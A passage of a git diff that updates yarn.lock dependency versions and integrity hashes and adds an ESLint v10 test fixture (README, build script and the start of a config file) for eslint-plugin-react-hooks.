-  resolved "https://registry.yarnpkg.com/uglify-js/-/uglify-js-3.12.1.tgz#78307f539f7b9ca5557babb186ea78ad30cc0375"
-  integrity sha512-o8lHP20KjIiQe5b/67Rh68xEGRrc2SRsCuuoYclXXoC74AfSRGblU1HKzJWH3HxPZ+Ort85fWHpSX7KwBUC9CQ==
+  version "3.19.3"
+  resolved "https://registry.yarnpkg.com/uglify-js/-/uglify-js-3.19.3.tgz#82315e9bbc6f2b25888858acd1fff8441035b77f"
+  integrity sha512-v3Xu+yuwBXisp6QYTcH4UbH+xYJXqnq2m/LtQVWKWzYc1iehYnLixoQDN9FH6/j9/oybfd6W9Ghwkl8+UMKTKQ==
 
 uglify-to-browserify@~1.0.0:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/uglify-to-browserify/-/uglify-to-browserify-1.0.2.tgz#6e0924d6bda6b5afe349e39a6d632850a0f882b7"
-  integrity sha1-bgkk1r2mta/jSeOabWMoUKD4grc=
+  integrity sha512-vb2s1lYx2xBtUgy+ta+b2J/GLVUR+wmpINwHePmPRhOsIVCG2wDzKJ0n14GslH1BifsqVzSOwQhRaCAsZ/nI4Q==
 
 uglifyjs-webpack-plugin@^0.4.6:
   version "0.4.6"
   resolved "https://registry.yarnpkg.com/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-0.4.6.tgz#b951f4abb6bd617e66f63eb891498e391763e309"
-  integrity sha1-uVH0q7a9YX5m9j64kUmOORdj4wk=
+  integrity sha512-TNM20HMW67kxHRNCZdvLyiwE1ST6WyY5Ae+TG55V81NpvNwJ9+V4/po4LHA1R9afV/WrqzfedG2UJCk2+swirw==
   dependencies:
     source-map "^0.5.6"
     uglify-js "^2.8.29"
     webpack-sources "^1.0.1"
 
+unbox-primitive@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.1.0.tgz#8d9d2c9edeea8460c7f35033a88867944934d1e2"
+  integrity sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==
+  dependencies:
+    call-bound "^1.0.3"
+    has-bigints "^1.0.2"
+    has-symbols "^1.1.0"
+    which-boxed-primitive "^1.1.1"
+
 union-value@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/union-value/-/union-value-1.0.1.tgz#0b6fe7b835aecda61c6ea4d4f02c14221e109847"
@@ -7921,17 +8462,17 @@ union-value@^1.0.0:
 uniq@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/uniq/-/uniq-1.0.1.tgz#b31c5ae8254844a3a8281541ce2b04b865a734ff"
-  integrity sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=
+  integrity sha512-Gw+zz50YNKPDKXs+9d+aKAjVwpjNwqzvNpLigIruT4HA9lMZNdMqs9x07kKHB/L9WRzqp4+DlTU5s4wG2esdoA==
 
 uniqs@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/uniqs/-/uniqs-2.0.0.tgz#ffede4b36b25290696e6e165d4a59edb998e6b02"
-  integrity sha1-/+3ks2slKQaW5uFl1KWe25mOawI=
+  integrity sha512-mZdDpf3vBV5Efh29kMw5tXoup/buMgxLzOt/XKFKcVmi+15ManNQWr6HfZ2aiZTYlYixbdNJ0KFmIZIv52tHSQ==
 
 unique-string@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/unique-string/-/unique-string-1.0.0.tgz#9e1057cca851abb93398f8b33ae187b99caec11a"
-  integrity sha1-nhBXzKhRq7kzmPizOuGHuZyuwRo=
+  integrity sha512-ODgiYu03y5g76A1I9Gt0/chLCzQjvzDy7DsZGsLOE/1MrF6wriEskSncj1+/C58Xk/kPZDppSctDybCwOSaGAg==
   dependencies:
     crypto-random-string "^1.0.0"
 
@@ -7948,7 +8489,7 @@ unpipe@1.0.0, unpipe@~1.0.0:
 unset-value@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/unset-value/-/unset-value-1.0.0.tgz#8376873f7d2335179ffb1e6fc3a8ed0dfc8ab559"
-  integrity sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=
+  integrity sha512-PcA2tsuGSF9cnySLHTLSh2qrQiJ70mn+r+Glzxv2TWZblxsxCC52BDlZoPCsz7STd9pN7EZetkWZBAvk4cgZdQ==
   dependencies:
     has-value "^0.3.1"
     isobject "^3.0.0"
@@ -7956,7 +8497,7 @@ unset-value@^1.0.0:
 unzip-response@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/unzip-response/-/unzip-response-2.0.1.tgz#d2f0f737d16b0615e72a6935ed04214572d56f97"
-  integrity sha1-0vD3N9FrBhXnKmk17QQhRXLVb5c=
+  integrity sha512-N0XH6lqDtFH84JxptQoZYmloF4nzrQqqrAymNj+/gW60AO2AZgOcf4O/nUXJcYfyQkqvMo9lSupBZmmgvuVXlw==
 
 upath@^1.1.1:
   version "1.2.0"
@@ -7982,7 +8523,7 @@ update-notifier@^2.3.0:
 upper-case@^1.1.1:
   version "1.1.3"
   resolved "https://registry.yarnpkg.com/upper-case/-/upper-case-1.1.3.tgz#f6b4501c2ec4cdd26ba78be7222961de77621598"
-  integrity sha1-9rRQHC7EzdJrp4vnIilh3ndiFZg=
+  integrity sha512-WRbjgmYzgXkCV7zNVpy5YgrHgbBv126rMALQQMrmzOVC4GM2waQ9x7xtm8VU+1yF2kWyPzI9zbZ48n4vSxwfSA==
 
 uri-js@^4.2.2:
   version "4.4.0"
@@ -7992,14 +8533,14 @@ uri-js@^4.2.2:
     punycode "^2.1.0"
 
 urijs@^1.16.1:
-  version "1.19.2"
-  resolved "https://registry.yarnpkg.com/urijs/-/urijs-1.19.2.tgz#f9be09f00c4c5134b7cb3cf475c1dd394526265a"
-  integrity sha512-s/UIq9ap4JPZ7H1EB5ULo/aOUbWqfDi7FKzMC2Nz+0Si8GiT1rIEaprt8hy3Vy2Ex2aJPpOQv4P4DuOZ+K1c6w==
+  version "1.19.11"
+  resolved "https://registry.yarnpkg.com/urijs/-/urijs-1.19.11.tgz#204b0d6b605ae80bea54bea39280cdb7c9f923cc"
+  integrity sha512-HXgFDgDommxn5/bIv0cnQZsPhHDA90NPHD6+c/v21U5+Sx5hoP8+dP9IZXBU1gIfvdRfhG8cel9QNPeionfcCQ==
 
 urix@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/urix/-/urix-0.1.0.tgz#da937f7a62e21fec1fd18d49b35c2935067a6c72"
-  integrity sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=
+  integrity sha512-Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg==
 
 url-loader@0.6.2:
   version "0.6.2"
@@ -8013,25 +8554,25 @@ url-loader@0.6.2:
 url-parse-lax@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/url-parse-lax/-/url-parse-lax-1.0.0.tgz#7af8f303645e9bd79a272e7a14ac68bc0609da73"
-  integrity sha1-evjzA2Rem9eaJy56FKxovAYJ2nM=
+  integrity sha512-BVA4lR5PIviy2PMseNd2jbFQ+jwSwQGdJejf5ctd1rEXt0Ypd7yanUK9+lYechVlN5VaTJGsu2U/3MDDu6KgBA==
   dependencies:
     prepend-http "^1.0.1"
 
 url-parse@^1.1.8, url-parse@^1.4.3:
-  version "1.4.7"
-  resolved "https://registry.yarnpkg.com/url-parse/-/url-parse-1.4.7.tgz#a8a83535e8c00a316e403a5db4ac1b9b853ae278"
-  integrity sha512-d3uaVyzDB9tQoSXFvuSUNFibTd9zxd2bkVrDRvF5TmvWWQwqE4lgYJ5m+x1DbecWkw+LK4RNl2CU1hHuOKPVlg==
+  version "1.5.10"
+  resolved "https://registry.yarnpkg.com/url-parse/-/url-parse-1.5.10.tgz#9d3c2f736c1d75dd3bd2be507dcc111f1e2ea9c1"
+  integrity sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==
   dependencies:
     querystringify "^2.1.1"
     requires-port "^1.0.0"
 
 url@^0.11.0:
-  version "0.11.0"
-  resolved "https://registry.yarnpkg.com/url/-/url-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1"
-  integrity sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=
+  version "0.11.4"
+  resolved "https://registry.yarnpkg.com/url/-/url-0.11.4.tgz#adca77b3562d56b72746e76b330b7f27b6721f3c"
+  integrity sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg==
   dependencies:
-    punycode "1.3.2"
-    querystring "0.2.0"
+    punycode "^1.4.1"
+    qs "^6.12.3"
 
 use@^3.1.0:
   version "3.1.1"
@@ -8041,14 +8582,14 @@ use@^3.1.0:
 util-deprecate@^1.0.1, util-deprecate@~1.0.1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
-  integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
+  integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==
 
-util@0.10.3:
-  version "0.10.3"
-  resolved "https://registry.yarnpkg.com/util/-/util-0.10.3.tgz#7afb1afe50805246489e3db7fe0ed379336ac0f9"
-  integrity sha1-evsa/lCAUkZInj23/g7TeTNqwPk=
+util@^0.10.4:
+  version "0.10.4"
+  resolved "https://registry.yarnpkg.com/util/-/util-0.10.4.tgz#3aa0125bfe668a4672de58857d3ace27ecb76901"
+  integrity sha512-0Pm9hTQ3se5ll1XihRic3FDIku70C+iHUdT/W926rSgHV5QgXsYbKZN8MSC3tJtSkhuROzvsQjAaFENRXr+19A==
   dependencies:
-    inherits "2.0.1"
+    inherits "2.0.3"
 
 util@^0.11.0:
   version "0.11.1"
@@ -8093,7 +8634,7 @@ vendors@^1.0.0:
 verror@1.10.0:
   version "1.10.0"
   resolved "https://registry.yarnpkg.com/verror/-/verror-1.10.0.tgz#3a105ca17053af55d6e270c1f8288682e18da400"
-  integrity sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=
+  integrity sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==
   dependencies:
     assert-plus "^1.0.0"
     core-util-is "1.0.2"
@@ -8105,16 +8646,16 @@ vm-browserify@^1.0.1:
   integrity sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==
 
 walker@~1.0.5:
-  version "1.0.7"
-  resolved "https://registry.yarnpkg.com/walker/-/walker-1.0.7.tgz#2f7f9b8fd10d677262b18a884e28d19618e028fb"
-  integrity sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/walker/-/walker-1.0.8.tgz#bd498db477afe573dc04185f011d3ab8a8d7653f"
+  integrity sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==
   dependencies:
-    makeerror "1.0.x"
+    makeerror "1.0.12"
 
 watch@~0.10.0:
   version "0.10.0"
   resolved "https://registry.yarnpkg.com/watch/-/watch-0.10.0.tgz#77798b2da0f9910d595f1ace5b0c2258521f21dc"
-  integrity sha1-d3mLLaD5kQ1ZXxrOWwwiWFIfIdw=
+  integrity sha512-FAk18nzhYggg939xgRRLJjvqmAKZciO24wr8neoxNPl87w8J3m784wxL4zFBwME+0gNQ2Sv/vfsCrUxPxU2Dmg==
 
 watchpack-chokidar2@^2.0.1:
   version "2.0.1"
@@ -8144,7 +8685,7 @@ wbuf@^1.1.0, wbuf@^1.7.2:
 webidl-conversions@^3.0.0:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz#24534275e2a7bc6be7bc86611cc16ae0a5654871"
-  integrity sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE=
+  integrity sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==
 
 webidl-conversions@^4.0.0:
   version "4.0.2"
@@ -8263,17 +8804,12 @@ whatwg-encoding@^1.0.1:
 whatwg-fetch@2.0.3:
   version "2.0.3"
   resolved "https://registry.yarnpkg.com/whatwg-fetch/-/whatwg-fetch-2.0.3.tgz#9c84ec2dcf68187ff00bc64e1274b442176e1c84"
-  integrity sha1-nITsLc9oGH/wC8ZOEnS0QhduHIQ=
-
-whatwg-fetch@>=0.10.0:
-  version "3.5.0"
-  resolved "https://registry.yarnpkg.com/whatwg-fetch/-/whatwg-fetch-3.5.0.tgz#605a2cd0a7146e5db141e29d1c62ab84c0c4c868"
-  integrity sha512-jXkLtsR42xhXg7akoDKvKWE40eJeI+2KZqcp2h3NsOrRnDvtWX36KcKl30dy+hxECivdk2BVUHVNrPtoMBUx6A==
+  integrity sha512-SA2KdOXATOroD3EBUYvcdugsusXS5YiQFqwskSbsp5b1gK8HpNi/YP0jcy/BDpdllp305HMnrsVf9K7Be9GiEQ==
 
 whatwg-url@^4.3.0:
   version "4.8.0"
   resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-4.8.0.tgz#d2981aa9148c1e00a41c5a6131166ab4683bbcc0"
-  integrity sha1-0pgaqRSMHgCkHFphMRZqtGg7vMA=
+  integrity sha512-nUvUPuenPFtPfy/X+dAYh/TfRbTBlnXTM5iIfLseJFkkQewmpG9pGR6i87E9qL+lZaJzv+99kkQWoGOtLfkZQQ==
   dependencies:
     tr46 "~0.0.3"
     webidl-conversions "^3.0.0"
@@ -8281,17 +8817,69 @@ whatwg-url@^4.3.0:
 whet.extend@~0.9.9:
   version "0.9.9"
   resolved "https://registry.yarnpkg.com/whet.extend/-/whet.extend-0.9.9.tgz#f877d5bf648c97e5aa542fadc16d6a259b9c11a1"
-  integrity sha1-+HfVv2SMl+WqVC+twW1qJZucEaE=
+  integrity sha512-mmIPAft2vTgEILgPeZFqE/wWh24SEsR/k+N9fJ3Jxrz44iDFy9aemCxdksfURSHYFCLmvs/d/7Iso5XjPpNfrA==
+
+which-boxed-primitive@^1.1.0, which-boxed-primitive@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz#d76ec27df7fa165f18d5808374a5fe23c29b176e"
+  integrity sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==
+  dependencies:
+    is-bigint "^1.1.0"
+    is-boolean-object "^1.2.1"
+    is-number-object "^1.1.1"
+    is-string "^1.1.1"
+    is-symbol "^1.1.1"
+
+which-builtin-type@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/which-builtin-type/-/which-builtin-type-1.2.1.tgz#89183da1b4907ab089a6b02029cc5d8d6574270e"
+  integrity sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==
+  dependencies:
+    call-bound "^1.0.2"
+    function.prototype.name "^1.1.6"
+    has-tostringtag "^1.0.2"
+    is-async-function "^2.0.0"
+    is-date-object "^1.1.0"
+    is-finalizationregistry "^1.1.0"
+    is-generator-function "^1.0.10"
+    is-regex "^1.2.1"
+    is-weakref "^1.0.2"
+    isarray "^2.0.5"
+    which-boxed-primitive "^1.1.0"
+    which-collection "^1.0.2"
+    which-typed-array "^1.1.16"
+
+which-collection@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/which-collection/-/which-collection-1.0.2.tgz#627ef76243920a107e7ce8e96191debe4b16c2a0"
+  integrity sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==
+  dependencies:
+    is-map "^2.0.3"
+    is-set "^2.0.3"
+    is-weakmap "^2.0.2"
+    is-weakset "^2.0.3"
 
 which-module@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/which-module/-/which-module-1.0.0.tgz#bba63ca861948994ff307736089e3b96026c2a4f"
-  integrity sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=
+  integrity sha512-F6+WgncZi/mJDrammbTuHe1q0R5hOXv/mBaiNA2TCNT/LTHusX0V+CJnj9XT8ki5ln2UZyyddDgHfCzyrOH7MQ==
 
 which-module@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/which-module/-/which-module-2.0.0.tgz#d9ef07dce77b9902b8a3a8fa4b31c3e3f7e6e87a"
-  integrity sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/which-module/-/which-module-2.0.1.tgz#776b1fe35d90aebe99e8ac15eb24093389a4a409"
+  integrity sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==
+
+which-typed-array@^1.1.16, which-typed-array@^1.1.18:
+  version "1.1.18"
+  resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.18.tgz#df2389ebf3fbb246a71390e90730a9edb6ce17ad"
+  integrity sha512-qEcY+KJYlWyLH9vNbsr6/5j59AXk5ni5aakf8ldzBvGde6Iz4sxZGkJyWSAueTG7QhOvNRYb1lDdFmL5Td0QKA==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-tostringtag "^1.0.2"
 
 which@^1.2.12, which@^1.2.14, which@^1.2.9, which@^1.3.0:
   version "1.3.1"
@@ -8310,7 +8898,7 @@ widest-line@^2.0.0:
 window-size@0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/window-size/-/window-size-0.1.0.tgz#5438cd2ea93b202efa3a19fe8887aee7c94f9c9d"
-  integrity sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=
+  integrity sha512-1pTPQDKTdd61ozlKGNCjhNRd+KPmgLSGa3mZTHoOliaGcESD8G1PXhh7c1fgiPjVbNVfgy2Faw4BI8/m0cC8Mg==
 
 word-wrap@~1.2.3:
   version "1.2.3"
@@ -8320,12 +8908,12 @@ word-wrap@~1.2.3:
 wordwrap@0.0.2:
   version "0.0.2"
   resolved "https://registry.yarnpkg.com/wordwrap/-/wordwrap-0.0.2.tgz#b79669bb42ecb409f83d583cad52ca17eaa1643f"
-  integrity sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=
+  integrity sha512-xSBsCeh+g+dinoBv3GAOWM4LcVVO68wLXRanibtBSdUvkGWQRGeE9P7IwU9EmDDi4jA6L44lz15CGMwdw9N5+Q==
 
 wordwrap@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/wordwrap/-/wordwrap-1.0.0.tgz#27584810891456a4171c8d0226441ade90cbcaeb"
-  integrity sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=
+  integrity sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==
 
 worker-farm@^1.3.1:
   version "1.7.0"
@@ -8337,7 +8925,7 @@ worker-farm@^1.3.1:
 wrap-ansi@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-2.1.0.tgz#d8fc3d284dd05794fe84973caecdd1cf824fdd85"
-  integrity sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=
+  integrity sha512-vAaEaDM946gbNpH5pLVNR+vX2ht6n0Bt3GXwVB1AuAqZosOvHNF3P7wDnh8KLkSqgUh0uh77le7Owgoz+Z9XBw==
   dependencies:
     string-width "^1.0.1"
     strip-ansi "^3.0.1"
@@ -8359,19 +8947,19 @@ write-file-atomic@^2.0.0:
 write@^0.2.1:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/write/-/write-0.2.1.tgz#5fc03828e264cea3fe91455476f7a3c566cb0757"
-  integrity sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=
+  integrity sha512-CJ17OoULEKXpA5pef3qLj5AxTJ6mSt7g84he2WIskKwqFO4T97d5V7Tadl0DYDk7qyUOQD5WlUlOMChaYrhxeA==
   dependencies:
     mkdirp "^0.5.1"
 
 xdg-basedir@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/xdg-basedir/-/xdg-basedir-3.0.0.tgz#496b2cc109eca8dbacfe2dc72b603c17c5870ad4"
-  integrity sha1-SWsswQnsqNus/i3HK2A8F8WHCtQ=
+  integrity sha512-1Dly4xqlulvPD3fZUQJLY+FUIeqN3N2MM3uqe4rCJftAvOjFa3jFGfctOgluGx4ahPbUCsZkmJILiP0Vi4T6lQ==
 
 xml-name-validator@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/xml-name-validator/-/xml-name-validator-2.0.1.tgz#4d8b8f1eccd3419aa362061becef515e1e559635"
-  integrity sha1-TYuPHszTQZqjYgYb7O9RXh5VljU=
+  integrity sha512-jRKe/iQYMyVJpzPH+3HL97Lgu5HrCfii+qSo+TfjKHtOnvbnvdVfMYrn9Q34YV81M2e5sviJlI6Ko9y+nByzvA==
 
 xtend@^4.0.0:
   version "4.0.2"
@@ -8379,41 +8967,41 @@ xtend@^4.0.0:
   integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==
 
 y18n@^3.2.1:
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/y18n/-/y18n-3.2.1.tgz#6d15fba884c08679c0d77e88e7759e811e07fa41"
-  integrity sha1-bRX7qITAhnnA136I53WegR4H+kE=
+  version "3.2.2"
+  resolved "https://registry.yarnpkg.com/y18n/-/y18n-3.2.2.tgz#85c901bd6470ce71fc4bb723ad209b70f7f28696"
+  integrity sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==
 
 yallist@^2.1.2:
   version "2.1.2"
   resolved "https://registry.yarnpkg.com/yallist/-/yallist-2.1.2.tgz#1c11f9218f076089a47dd512f93c6699a6a81d52"
-  integrity sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=
-
-yargs-parser@5.0.0-security.0:
-  version "5.0.0-security.0"
-  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-5.0.0-security.0.tgz#4ff7271d25f90ac15643b86076a2ab499ec9ee24"
-  integrity sha512-T69y4Ps64LNesYxeYGYPvfoMTt/7y1XtfpIslUeK4um+9Hu7hlGoRtaDLvdXb7+/tfq4opVa2HRY5xGip022rQ==
-  dependencies:
-    camelcase "^3.0.0"
-    object.assign "^4.1.0"
+  integrity sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==
 
 yargs-parser@^4.2.0:
   version "4.2.1"
   resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-4.2.1.tgz#29cceac0dc4f03c6c87b4a9f217dd18c9f74871c"
-  integrity sha1-KczqwNxPA8bIe0qfIX3RjJ90hxw=
+  integrity sha512-+QQWqC2xeL0N5/TE+TY6OGEqyNRM+g2/r712PDNYgiCdXYCApXf1vzfmDSLBxfGRwV+moTq/V8FnMI24JCm2Yg==
+  dependencies:
+    camelcase "^3.0.0"
+
+yargs-parser@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-5.0.1.tgz#7ede329c1d8cdbbe209bd25cdb990e9b1ebbb394"
+  integrity sha512-wpav5XYiddjXxirPoCTUPbqM0PXvJ9hiBMvuJgInvo4/lAOTZzUprArw17q2O1P2+GHhbBr18/iQwjL5Z9BqfA==
   dependencies:
     camelcase "^3.0.0"
+    object.assign "^4.1.0"
 
 yargs-parser@^7.0.0:
   version "7.0.0"
   resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-7.0.0.tgz#8d0ac42f16ea55debd332caf4c4038b3e3f5dfd9"
-  integrity sha1-jQrELxbqVd69MyyvTEA4s+P139k=
+  integrity sha512-WhzC+xgstid9MbVUktco/bf+KJG+Uu6vMX0LN1sLJvwmbCQVxb4D8LzogobonKycNasCZLdOzTAk1SK7+K7swg==
   dependencies:
     camelcase "^4.1.0"
 
 yargs@6.6.0:
   version "6.6.0"
   resolved "https://registry.yarnpkg.com/yargs/-/yargs-6.6.0.tgz#782ec21ef403345f830a808ca3d513af56065208"
-  integrity sha1-eC7CHvQDNF+DCoCMo9UTr1YGUgg=
+  integrity sha512-6/QWTdisjnu5UHUzQGst+UOEuEVwIzFVGBjq3jMTFNs5WJQsH/X6nMURSaScIdF5txylr1Ao9bvbWiKi2yXbwA==
   dependencies:
     camelcase "^3.0.0"
     cliui "^3.2.0"
@@ -8430,9 +9018,9 @@ yargs@6.6.0:
     yargs-parser "^4.2.0"
 
 yargs@^7.0.2:
-  version "7.1.1"
-  resolved "https://registry.yarnpkg.com/yargs/-/yargs-7.1.1.tgz#67f0ef52e228d4ee0d6311acede8850f53464df6"
-  integrity sha512-huO4Fr1f9PmiJJdll5kwoS2e4GqzGSsMT3PPMpOwoVkOK8ckqAewMTZyA6LXVQWflleb/Z8oPBEvNsMft0XE+g==
+  version "7.1.2"
+  resolved "https://registry.yarnpkg.com/yargs/-/yargs-7.1.2.tgz#63a0a5d42143879fdbb30370741374e0641d55db"
+  integrity sha512-ZEjj/dQYQy0Zx0lgLMLR8QuaqTihnxirir7EwUHp1Axq4e3+k8jXU5K0VLbNvedv1f4EWtBonDIZm0NUr+jCcA==
   dependencies:
     camelcase "^3.0.0"
     cliui "^3.2.0"
@@ -8446,12 +9034,12 @@ yargs@^7.0.2:
     string-width "^1.0.2"
     which-module "^1.0.0"
     y18n "^3.2.1"
-    yargs-parser "5.0.0-security.0"
+    yargs-parser "^5.0.1"
 
 yargs@^8.0.2:
   version "8.0.2"
   resolved "https://registry.yarnpkg.com/yargs/-/yargs-8.0.2.tgz#6299a9055b1cefc969ff7e79c1d918dceb22c360"
-  integrity sha1-YpmpBVsc78lp/355wdkY3Osiw2A=
+  integrity sha512-3RiZrpLpjrzIAKgGdPktBcMP/eG5bDFlkI+PHle1qwzyVXyDQL+pD/eZaMoOOO0Y7LLBfjpucObuUm/icvbpKQ==
   dependencies:
     camelcase "^4.1.0"
     cliui "^3.2.0"
@@ -8470,7 +9058,7 @@ yargs@^8.0.2:
 yargs@~3.10.0:
   version "3.10.0"
   resolved "https://registry.yarnpkg.com/yargs/-/yargs-3.10.0.tgz#f7ee7bd857dd7c1d2d38c0e74efbd681d1431fd1"
-  integrity sha1-9+572FfdfB0tOMDnTvvWgdFDH9E=
+  integrity sha512-QFzUah88GAGy9lyDKGBqZdkYApt63rCXYBGYnEP4xDJPXNqXXnBDACnbrXnViV6jRSqAePwrATi2i8mfYm4L1A==
   dependencies:
     camelcase "^1.0.2"
     cliui "^2.1.0"
diff --git a/fixtures/eslint-v10/README.md b/fixtures/eslint-v10/README.md
new file mode 100644
index 000000000000..7b52e241f22b
--- /dev/null
+++ b/fixtures/eslint-v10/README.md
@@ -0,0 +1,12 @@
+# ESLint v10 Fixture
+
+This fixture allows us to test e2e functionality for `eslint-plugin-react-hooks` with eslint version 10.
+
+Run the following to test.
+
+```sh
+cd fixtures/eslint-v10
+yarn
+yarn build
+yarn lint
+```
diff --git a/fixtures/eslint-v10/build.mjs b/fixtures/eslint-v10/build.mjs
new file mode 100644
index 000000000000..e0dd355ba439
--- /dev/null
+++ b/fixtures/eslint-v10/build.mjs
@@ -0,0 +1,13 @@
+#!/usr/bin/env node
+
+import {execSync} from 'node:child_process';
+import {dirname, resolve} from 'node:path';
+import {fileURLToPath} from 'node:url';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = dirname(__filename);
+
+execSync('yarn build -r stable eslint-plugin-react-hooks', {
+  cwd: resolve(__dirname, '..', '..'),
+  stdio: 'inherit',
+});
diff --git a/fixtures/eslint-v10/eslint.config.ts b/fixtures/eslint-v10/eslint.config.ts
new file mode 100644
index 000000000000..f7d0bddac443
--- /dev/null
+++ b/fixtures/eslint-v10/eslint.config.ts
@@ -0,0 +1,20 @@
+import {defineConfig} from 'eslint/config';
+import reactHooks from 'eslint-plugin-react-hooks';
+
+export default defineConfig([
+  reactHooks.configs.flat['recommended-latest'],
+  {
+    languageOptions: {
+      ecmaVersion: 'latest',
+      sourceType: 'module',
+      parserOptions: {
+        ecmaFeatures: {
+          jsx: true,
+        },
+      },
+    },
